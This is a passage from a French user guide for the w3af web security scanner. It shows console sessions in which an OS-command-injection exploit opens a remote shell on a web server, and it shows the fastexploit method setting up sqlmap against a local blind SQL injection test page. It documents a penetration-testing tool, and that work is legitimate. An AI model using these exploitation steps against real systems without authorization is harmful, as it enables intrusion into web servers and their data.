w3af Guide de l'Utilisateur - Exploit Database

w3af/exploit>>>exploit osCommandingShellosCommandingShell exploit plugin is starting.The vulnerability was found using method GET, tried to changethe method to POST for exploiting but failed.Vulnerability successfully exploited. This is a list ofavailable shells:- [0] Please use the interact command to interact with the shellobjects.w3af/exploit>>>interact 0Execute "endInteraction" to get out of the remote shell.Commands typed in this menu will be runned on the remote webserver.w3af/exploit/osCommandingShell-0>>>lsvulnerable.phpvulnerable2.phpw3afAgentClient.logw3af/exploit/osCommandingShell-0>>>endInteractionw3af/exploit>>>backw3af>>>La deuxième manière est d'utiliser fastexploit. Cette méthode doit être utiliséequand l'utilisateur a trouvé une vulnérabilité manuellement et souhaite l'exploiteren utilisant le framework. Voici un exemple d'utilisation de fastexploit:w3af>>> exploitw3af/exploit>>> exploit config sqlmapw3af/plugin/sqlmap>>> set urlhttp://localhost/w3af/blindSqli/blindSqli-integer.phpw3af/plugin/sqlmap>>> set injvar idw3af/plugin/sqlmap>>> set data id=1w3af/plugin/sqlmap>>> backw3af/exploit>>> fastexploit sqlmapsqlmap coded by inquis and belchSQL injection could be verified, trying to create the DB driver.